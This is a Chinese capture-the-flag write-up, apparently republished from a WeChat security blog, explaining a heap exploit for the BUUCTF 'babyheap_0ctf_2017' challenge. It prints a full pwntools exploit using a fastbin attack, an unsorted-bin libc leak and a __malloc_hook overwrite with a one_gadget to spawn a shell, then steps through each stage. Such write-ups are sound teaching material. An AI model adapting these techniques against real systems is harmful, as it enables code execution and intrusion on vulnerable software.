【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

admin 2020年12月2日20:45:04评论43 views字数 5408阅读18分1秒阅读模式
【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

点击蓝字关注我哦

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup


【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

参考网址:

https://www.cnblogs.com/luoleqi/p/12349714.html


【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

分析

参考网址说的已经不错了,主要问题出现在fill功能,只要chunk存在,即可写任意长度的字符。

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

主要还是利用fasbin attack和unsorted的特性(下面会说到)来修改__malloc_hook拿到shell。

这里我来实际走一遍exp的流程,下面的exp我用的是本地的libc。

这里我先把exp放出来,之后会分析exp的每一步操作具体干了什么

Exploit
#coding:utf-8from pwn import *
p = process("./babyheap_0ctf_2017_glibc2.23") context.log_level="debug"
def allocate(size): p.recvuntil('Command: ') p.sendline('1') p.recvuntil('Size: ') p.sendline(str(size)) def fill(idx,content): p.recvuntil('Command: ') p.sendline('2') p.recvuntil('Index: ') p.sendline(str(idx)) p.recvuntil('Size: ') p.sendline(str(len(content))) p.recvuntil('Content: ') p.send(content) def free(idx): p.recvuntil('Command: ') p.sendline('3') p.recvuntil('Index: ') p.sendline(str(idx)) def dump(idx): p.recvuntil('Command: ') p.sendline('4') p.recvuntil('Index: ') p.sendline(str(idx)) p.recvline() return p.recvline()
allocate(0x10) # 0allocate(0x10) # 1allocate(0x10) # 2allocate(0x10) # 3allocate(0x80) # 4free(1)free(2)
payload = p64(0) * 3payload += p64(0x21)payload += p64(0) * 3payload += p64(0x21)payload += p8(0x80)fill(0,payload)
payload = p64(0) * 3payload += p64(0x21)fill(3,payload) # 为了后面malloc做准备,绕过检查

allocate(0x10)allocate(0x10)fill(1,'aaaabbbb')fill(2,'bbbbcccc')payload = p64(0) * 3payload += p64(0x91)fill(3,payload)allocate(0x80)free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78log.info("libc_base: "+hex(libc_base))
allocate(0x60)free(4)payload = p64(libc_base+0x3c4aed)fill(2, payload)
allocate(0x60)allocate(0x60)
payload = p8(0)*3payload += p64(0)*2payload += p64(libc_base+0x4527a)fill(6, payload) allocate(255)
p.interactive()

Exp分析

下面的代码定义了分配了五个chunk。并且free掉了1和2。
allocate(0x10) # 0allocate(0x10) # 1allocate(0x10) # 2allocate(0x10) # 3allocate(0x80) # 4free(1)free(2)
1和2是fastbin,所以不会合并。此时内存结构如下。可以发现chunk2的fd指向的是chunk1首地址。下次malloc相同的大小的时候,会先分配chunk2,然后分配chunk1。

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

我比较菜,我想看存放结构体的内存地址。只能通过如下方法。

首先执行vmmap命令。可以找到mmap分配的首地址。然后从分配的首地址(0x1b5748c0d000)依次向后查看,这块内存空间应该都是0。只要有数据的地方应该就是存放结构体的地方。

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

一直找一直找,然后我找到了结构体的位置,地址为0x1b5748c0dc60

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

其实参考链接已经说过了。这里用chunk0来讲解一下。

我把下图当成一个数组,每一个元素都是一个结构体。说白了就是一个结构体数组。
每个结构体有三个元素,第一个元素chunk0的标志位,用来判断该当前结构体是否被使用,如果被使用,则第二个元素是该chunk的大小,第三个元素是chunk的首地址。如果没有被使用,则全部是0。

0x0000000000000001 (chunk0的标志位,1表示该chunk存在) 0x0000000000000010(chunk0的大小)
0x00005640ba838010 (chunk0的地址)

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

可以看到为什么chunk1和chunk2全部都是0呢?因为此时我们已经free(1)和free(2)了。

下面代码主要用来修改chunk2的fd指针。根据前面的图片可以看出现在chunk2的fd值是`0x00005640ba838020`
payload = p64(0) * 3payload += p64(0x21)payload += p64(0) * 3payload += p64(0x21)payload += p8(0x80)fill(0,payload)
执行代码之后,可以发现将chunk2fd指针的最后一位修改为了80。可以发现此时chunk2的fd指针指向的是chunk4。(大佬的思维真的强。。)

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup


下面代码主要用来修改chunk4的size。此时chunk4size0x91。主要为了绕过malloc的检查。因为我们之后想在chunk4的地方重新malloc。(如果这里不太懂,就向后看)
payload = p64(0) * 3payload += p64(0x21)fill(3,payload)  # 为了后面malloc做准备,绕过malloc检查
执行代码之后,可以发现chunk4size变为了0x21

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

下面的代码用来分配两个chunk,大小都为0x10。还记得我们之前的free(1)free(2)吗?

首先第一个allocate(0x10)会分配到chunk2,因为此时chunk2是free状态的fastbin。

第二个allocate(0x10)会分配到chunk4上面。有人会问为什么不会分配到chunk1,仔细看上面的步骤,我们已经把chunk2的fd指针首位覆盖为了0x80。所以allocate(0x10)才会分配到chunk4上面。

但是malloc的时候会检查size是否和要分配的大小相同,这就是为什么上面代码中我们要把chunk4的size位修改为0x21

此时你会发现一个问题,chunk2和chunk4指向了同一个内存地址

后面两个fill其实没什么实际用处(删掉也行)

allocate(0x10)allocate(0x10)fill(1,'aaaabbbb') fill(2,'bbbbcccc')
执行代码之后,没有什么变化

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup


但结构体这里变化了。你会发现chunk2比chunk4指向了同一块内存地址。

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup


1、fill(3,payload) 其实是将 chunk4 的 size 位变为之前的0x91
2、allocate(0x80) 用来分割top chunk和chunk4,防止堆块合并,因为我们后面要free(4)
3、free(4)之后,chunk4会被放到unsorted bin中。此时chunk4的fd指针是 unsorted bin 链表的头部,这个地址为 main_arena + 0x58
unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20所以我们得到fd的值,然后再减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。-----来自参考网址
虽然我们free(4),此时结构体那里应该已经置0了,但我们还可以通过chunk2来泄露chunk4的fd指针,因为chunk2和chunk4是指向的同一块内存地址。
4、dump(2) 用来泄露fd指针,算出libc基址
payload = p64(0) * 3payload += p64(0x91)fill(3,payload)allocate(0x80) free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8, "x00")) - (0x3c4b20 + 0x58)log.info("libc_base: "+hex(libc_base))
执行代码后如下图

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup


再看看结构体内存图

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup


此时我们成功获取libc基址

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup


1、allocate(0x60) 会从chunk4里分割出来。此时chunk4是unsorted bin。大小为0x80,此时我们需要分配0x60。会从chunk4里分割出来。我们把他定义为chunk6,虽然是chunk6,但是他在结构体数组中的索引为4。

2、free(4) 此时即free(chunk6)。

这两步主要用来将chunk4分离出一个fasbin大小的chunk6,然后再free。chunk6进入fastbin。之后我们可以通过修改chunk2修改chunk6的值,然后再malloc,进行fastbin attack,可以任意地址分配。修改任意内存。

allocate(0x60)free(4)
执行代码后如下,可以发现chunk4被分为了两部分,我定义上面那部分为chunk6,但是在数组中索引为4。

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

之后又free(4)。所以结构体数组中的4还是置0的

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup


我们现在需要修改__malloc_hook的值。我们先找到__malloc_hook的地址
【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

然后查看该__malloc_hook附近的内存空间。

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

我们想要在这范围内进行malloc,就需要绕过malloc的限制。我们发现附近7f比较多,我们可以找一个内存地址,将7f当为我们要malloc的size位。

例如如下的内存地址,0x7fd25e3b7aed。如果我们在这个地址进行malloc,则size位为0x7f。那我们分配一个0x60大小的chunk,即可绕过malloc的限制。

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

我们算出该地址对libc的基址的偏移是0x3c4aed

1、fill(2, payload)修改chunk6的fd指针。fd指针即我们想分配到的内存地址,为libc_base+0x3c4aed
2、第一个allocate(0x60)分配到chunk6。
3、第二个allocate(0x60)会分配到chunk6的fd指针所指向的地址,即libc_base+0x3c4aed
payload = p64(libc_base+0x3c4aed)fill(2, payload)allocate(0x60)allocate(0x60)

由于中间程序断了,又重新运行了一下,不过原理都是一样的,地址可能和上面的不太一样了。

两次allocate(0x60)之后,在结构体数组中索引为6的地方即我们在__malloc_hook附近malloc的地方

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

此时我们编辑6,即可编辑__malloc_hook的内存。


下面即编辑__malloc_hook的代码,p8(0)*3p64(0)*2用来内存对齐,libc_base+0x4527a是一个libc中的one_gadget。

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup
payload = p8(0)*3payload += p64(0)*2payload += p64(libc_base+0x4527a)fill(6, payload)
执行代码后,即可修改**__malloc_hook**的值,可以看到已经将__malloc_hook修改为one_gadget了。下次调用malloc或者calloc的时候就可以获得shell。

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup


获取shell

allocate(255)

buuctf中的libc需要在Buuctf上下载,上面写了是Ubuntu16的64位。
【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup
【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup
【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup


【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup


看完记得点赞,关注哟,爱您!

END



请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,各种福利领不停,轻轻松松学习hacker技术!

在看你就赞赞我!
【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup
【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup
【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup
扫码关注我们
【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup


扫码领hacker资料,常用工具,以及各种福利


【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

转载是一种动力 分享是一种美德




本文始发于微信公众号(Gamma安全实验室):【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月2日20:45:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PWN系列】 Buuctf babyheap_0ctf_2017 Writeuphttps://cn-sec.com/archives/194991.html

发表评论

匿名网友 填写信息